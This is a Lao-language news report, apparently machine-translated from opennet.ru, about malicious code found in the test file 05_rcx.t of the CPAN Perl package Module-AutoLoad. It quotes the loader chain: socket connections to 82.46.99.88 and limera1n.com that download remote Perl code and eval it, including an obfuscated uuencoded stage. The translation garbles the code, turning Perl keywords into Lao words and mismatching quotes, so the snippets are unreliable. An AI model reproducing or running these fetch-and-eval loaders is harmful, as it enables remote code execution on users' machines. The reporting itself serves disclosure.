เบเบงเบ”เบžเบปเบšเบฅเบฐเบซเบฑเบ”เบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเบขเบนเปˆเปƒเบ™เบŠเบธเบ” Module-AutoLoad Perl

เปƒเบ™เบŠเบธเบ” Perl เบ—เบตเปˆเปเบˆเบเบขเบฒเบเบœเปˆเบฒเบ™เป„เบ”เป€เบฅเบเบฐเบ—เปเบฅเบต CPAN เป‚เบกเบ”เบนเบ™-เป‚เบซเบผเบ”เบญเบฑเบ”เบ•เบฐเป‚เบ™เบกเบฑเบ”, เบญเบญเบเปเบšเบšเบกเบฒเป€เบžเบทเปˆเบญเป‚เบซเบผเบ”เป‚เบกเบ”เบนเบ™ CPAN เป‚เบ”เบเบญเบฑเบ”เบ•เบฐเป‚เบ™เบกเบฑเบ”เปƒเบ™เป€เบงเบฅเบฒเบšเบดเบ™, เบเปเบฒเบ™เบปเบ” เบฅเบฐเบซเบฑเบ”เบญเบฑเบ™เบ•เบฐเบฅเบฒเบ. เบเบฒเบ™เปƒเบชเปˆเบฎเป‰เบฒเบเบเบฒเบ”เปเบกเปˆเบ™ เบžเบปเบš เปƒเบ™โ€‹เบฅเบฐโ€‹เบซเบฑเบ”โ€‹เบเบฒเบ™โ€‹เบ—เบปเบ”โ€‹เบชเบญเบšโ€‹ 05_rcx.t, เป€เบŠเบดเปˆเบ‡เป„เบ”เป‰เบ‚เบปเบ™เบชเบปเปˆเบ‡เบ•เบฑเป‰เบ‡เปเบ•เปˆเบ›เบต 2011.
เบกเบฑเบ™เป€เบ›เบฑเบ™เบ—เบตเปˆเบชเบฑเบ‡เป€เบเบ”เบงเปˆเบฒเบ„เปเบฒเบ–เบฒเบกเบเปˆเบฝเบงเบเบฑเบšเบเบฒเบ™เป‚เบซเบผเบ”เบฅเบฐเบซเบฑเบ”เบ„เปเบฒเบ–เบฒเบกเป„เบ”เป‰เป€เบเบตเบ”เบ‚เบทเป‰เบ™ stackoverflow เบเบฑเบšเป„เบ›เปƒเบ™เบ›เบต 2016.

เบเบฒเบ™เป€เบ„เบทเปˆเบญเบ™เป„เบซเบงเบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเป€เบเบตเบ”เบ‚เบถเป‰เบ™เบเบฑเบšเบ„เบงเบฒเบกเบžเบฐเบเบฒเบเบฒเบกเบ—เบตเปˆเบˆเบฐเบ”เบฒเบงเป‚เบซเบผเบ” เปเบฅเบฐเบ›เบฐเบ•เบดเบšเบฑเบ”เบฅเบฐเบซเบฑเบ”เบˆเบฒเบเป€เบŠเบตเบšเป€เบงเบตเบžเบฒเบเบชเปˆเบงเบ™เบ—เบตเบชเบฒเบก (http://r.cx:1/) เปƒเบ™เบฅเบฐเบซเบงเปˆเบฒเบ‡เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบŠเบธเบ”เบ—เบปเบ”เบชเบญเบšเบ—เบตเปˆเป€เบ›เบตเบ”เบ•เบปเบงเป€เบกเบทเปˆเบญเบ•เบดเบ”เบ•เบฑเป‰เบ‡เป‚เบกเบ”เบนเบ™. เบกเบฑเบ™เบชเบปเบกเบกเบธเบ”เบงเปˆเบฒเบฅเบฐเบซเบฑเบ”เบ—เปเบฒเบญเบดเบ”เบ—เบตเปˆเบ”เบฒเบงเป‚เบซเบผเบ”เบˆเบฒเบเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเบžเบฒเบเบ™เบญเบเบšเปเปˆเป„เบ”เป‰เป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบ, เปเบ•เปˆเปƒเบ™เบ›เบฑเบ”เบˆเบธเบšเบฑเบ™เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ–เบทเบเป‚เบญเบ™เป„เบ›เบซเบฒเป‚เบ”เป€เบกเบ™ ww.limera1n.com, เป€เบŠเบดเปˆเบ‡เบชเบฐเบซเบ™เบญเบ‡เบชเปˆเบงเบ™เบซเบ™เบถเปˆเบ‡เบ‚เบญเบ‡เบฅเบฐเบซเบฑเบ”เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”.

เป€เบžเบทเปˆเบญเบˆเบฑเบ”เบฅเบฐเบšเบฝเบšเบ”เบฒเบงเป‚เบซเบผเบ”เปƒเบ™เป„เบŸเบฅเปŒ 05_rcx.t เบฅเบฐเบซเบฑเบ”เบ•เปเปˆเป„เบ›เบ™เบตเป‰เบ–เบทเบเปƒเบŠเป‰:

$prog เบ‚เบญเบ‡เบ‚เป‰เบญเบ = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
$try เบ‚เบญเบ‡เบ‚เป‰เบญเบ = `$^X $prog`;

เบฅเบฐเบซเบฑเบ”เบ—เบตเปˆเบฅเบฐเบšเบธเป€เบฎเบฑเบ”เปƒเบซเป‰ script เบ–เบทเบเบ›เบฐเบ•เบดเบšเบฑเบ” ../contrib/RCX.pl, เป€เบ™เบทเป‰เบญเปƒเบ™เบ—เบตเปˆเบ–เบทเบเบซเบผเบธเบ”เบฅเบปเบ‡เป€เบ›เบฑเบ™เปเบ–เบง:

เปƒเบŠเป‰ lib do{eval&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88":1โ€ณ};

script เบ™เบตเป‰เป‚เบซเบฅเบ” เบชเบฑเบšเบชเบปเบ™ เบเบฒเบ™โ€‹เบ™เปเบฒโ€‹เปƒเบŠเป‰โ€‹เบšเปโ€‹เบฅเบดโ€‹เบเบฒเบ™โ€‹ perlobfuscator.com เบฅเบฐเบซเบฑเบ”เบˆเบฒเบเป€เบˆเบปเป‰เบฒเบžเบฒเบšเบžเบฒเบเบ™เบญเบ r.cx (เบฅเบฐเบซเบฑเบ”เบ•เบปเบงเบญเบฑเบเบชเบญเบ™ 82.46.99.88 เบเบปเบ‡เบเบฑเบšเบ‚เปเป‰เบ„เบงเบฒเบก "R.cX") เปเบฅเบฐเบ›เบฐเบ•เบดเบšเบฑเบ”เบกเบฑเบ™เบขเบนเปˆเปƒเบ™เบšเบฅเบฑเบญเบ eval.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88โ€:1โ€ณ; เบžเบดเบก ;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DEโ€ฆ.}

เบซเบผเบฑเบ‡เบˆเบฒเบ unpacking, เบชเบดเปˆเบ‡เบ•เปเปˆเป„เบ›เบ™เบตเป‰เบˆเบฐเบ–เบทเบเบ›เบฐเบ•เบดเบšเบฑเบ”เปƒเบ™เบ—เบตเปˆเบชเบธเบ”: เบฅเบฐเบซเบฑเบ”:

print{$b=new IO::Socket::INET"ww.limera1n.com:80โ€ณ}"GET /iJailBreak
";evalor เบเบฑเบšเบ„เบทเบ™เป€เบ•เบทเบญเบ™ $@while$b;1

เบ•เบญเบ™เบ™เบตเป‰เบŠเบธเบ”เบ—เบตเปˆเบกเบตเบšเบฑเบ™เบซเบฒเป„เบ”เป‰เบ–เบทเบเป€เบญเบปเบฒเบญเบญเบเบˆเบฒเบเบšเปˆเบญเบ™เป€เบเบฑเบšเบกเป‰เบฝเบ™เปเบฅเป‰เบง. เบขเบธเบ”โ€‹เบŠเบปเปˆเบงโ€‹เบ„เบฒเบง (เป€เบŠเบตเบšเป€เบงเบตเบญเบฑเบšเป‚เบซเบฅเบ” Perl Authors), เปเบฅเบฐเบšเบฑเบ™เบŠเบตเบœเบนเป‰เบ‚เบฝเบ™เบ‚เบญเบ‡เป‚เบกเบ”เบนเบ™เบ–เบทเบเบšเบฅเบฑเบญเบ. เปƒเบ™เบเปเบฅเบฐเบ™เบตเบ™เบตเป‰, เป‚เบกเบ”เบนเบ™เบเบฑเบ‡เบ„เบปเบ‡เบขเบนเปˆ เบกเบต เบขเบนเปˆเปƒเบ™เบšเปˆเบญเบ™เป€เบเบฑเบšเบกเป‰เบฝเบ™ MetaCPAN เปเบฅเบฐเบชเบฒเบกเบฒเบ”เบ•เบดเบ”เบ•เบฑเป‰เบ‡เป‚เบ”เบเบเบปเบ‡เบˆเบฒเบ MetaCPAN เป‚เบ”เบเปƒเบŠเป‰เบšเบฒเบ‡เบ›เบฐเป‚เบซเบเบ”เป€เบŠเบฑเปˆเบ™ cpanminus. เบกเบฑเบ™เป„เบ”เป‰เบ–เบทเบเบšเบฑเบ™เบ—เบถเบเป„เบงเป‰เบงเปˆเบฒเบŠเบธเบ”เบ”เบฑเปˆเบ‡เบเปˆเบฒเบงเบšเปเปˆเป„เบ”เป‰เบ–เบทเบเปเบˆเบเบขเบฒเบเบขเปˆเบฒเบ‡เบเบงเป‰เบฒเบ‡เบ‚เบงเบฒเบ‡.

เบซเบ™เป‰เบฒเบชเบปเบ™เปƒเบˆเบ—เบตเปˆเบˆเบฐเบ›เบถเบเบชเบฒเบซเบฒเบฅเบท เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆ เปเบฅเบฐเบœเบนเป‰เบ‚เบฝเบ™เบ‚เบญเบ‡เป‚เบกเบ”เบนเบ™, เบœเบนเป‰เบ—เบตเปˆเบ›เบฐเบ•เบดเป€เบชเบ”เบ‚เปเป‰เบกเบนเบ™เบ—เบตเปˆเบฅเบฐเบซเบฑเบ”เป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเบ–เบทเบเปƒเบชเปˆเบซเบผเบฑเบ‡เบˆเบฒเบเป€เบงเบฑเบšเป„เบŠเบ—เปŒ "r.cx" เบ‚เบญเบ‡เบฅเบฒเบงเบ–เบทเบเปเบฎเบฑเบเปเบฅเบฐเบญเบฐเบ—เบดเบšเบฒเบเบงเปˆเบฒเบฅเบฒเบงเบžเบฝเบ‡เปเบ•เปˆเบกเบตเบ„เบงเบฒเบกเบกเปˆเบงเบ™, เปเบฅเบฐเปƒเบŠเป‰ perlobfuscator.com เบšเปเปˆเปƒเบซเป‰เบ›เบดเบ”เบšเบฑเบ‡เบšเบฒเบ‡เบชเบดเปˆเบ‡เบšเบฒเบ‡เบขเปˆเบฒเบ‡, เปเบ•เปˆเป€เบžเบทเปˆเบญเบซเบผเบธเบ”เบœเปˆเบญเบ™เบ‚เบฐเบซเบ™เบฒเบ”. เบ‚เบญเบ‡เบฅเบฐเบซเบฑเบ”เปเบฅเบฐเบ‡เปˆเบฒเบเบเบฒเบ™เบ„เบฑเบ”เบฅเบญเบเบ‚เบญเบ‡เบกเบฑเบ™เบœเปˆเบฒเบ™ clipboard. เบ—เบฒเบ‡เป€เบฅเบทเบญเบเบ‚เบญเบ‡เบŠเบทเปˆเบŸเบฑเบ‡เบŠเบฑเบ™ "botstrap" เบ–เบทเบเบญเบฐเบ—เบดเบšเบฒเบเป‚เบ”เบเบ„เบงเบฒเบกเบˆเบดเบ‡เบ—เบตเปˆเบงเปˆเบฒเบ„เปเบฒเบ™เบตเป‰ "เบŸเบฑเบ‡เบ„เบท bot เปเบฅเบฐเบชเบฑเป‰เบ™เบเบงเปˆเบฒ bootstrap." เบœเบนเป‰เบ‚เบฝเบ™เบ‚เบญเบ‡เป‚เบกเบ”เบนเบ™เบเบฑเบ‡เป„เบ”เป‰เบฎเบฑเบšเบ›เบฐเบเบฑเบ™เบงเปˆเบฒเบเบฒเบ™เบซเบกเบนเบ™เปƒเบŠเป‰เบ—เบตเปˆเบ–เบทเบเบเปเบฒเบ™เบปเบ”เบšเปเปˆเป„เบ”เป‰เบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบ, เปเบ•เปˆเบงเปˆเบฒเบžเบฝเบ‡เปเบ•เปˆเบชเบฐเปเบ”เบ‡เปƒเบซเป‰เป€เบซเบฑเบ™เบเบฒเบ™เป‚เบซเบผเบ”เปเบฅเบฐเบ›เบฐเบ•เบดเบšเบฑเบ”เบฅเบฐเบซเบฑเบ”เบœเปˆเบฒเบ™ TCP.

เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: opennet.ru

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™